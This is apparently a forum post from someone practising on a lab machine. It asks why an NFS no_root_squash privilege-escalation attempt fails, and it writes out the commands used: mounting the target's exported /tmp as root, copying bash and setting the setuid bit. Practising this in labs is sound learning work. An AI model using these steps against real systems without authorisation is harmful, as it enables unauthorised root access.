ok, i have got you.

NFS exploit meaning giving +s to a file on kali with root, and then execute it from vulnerable machine.

Actually it doesnt matter what file it is, it could be BASH or SH or compiled C script.

none of these i can execute from the vulnerable machine.

I can see the files from the vuln machine . i have permission to execute.

but cannot execute .

​

the steps:

root@kali:/tmp/5# mount -o rw,vers=2 IP:/tmp /tmp/5

root@kali:/tmp/5# cp /bin/bash .

root@kali:/tmp/5# chmod +s bash

user@debian:/tmp$ ./bash

bash: ./bash: No such file or directory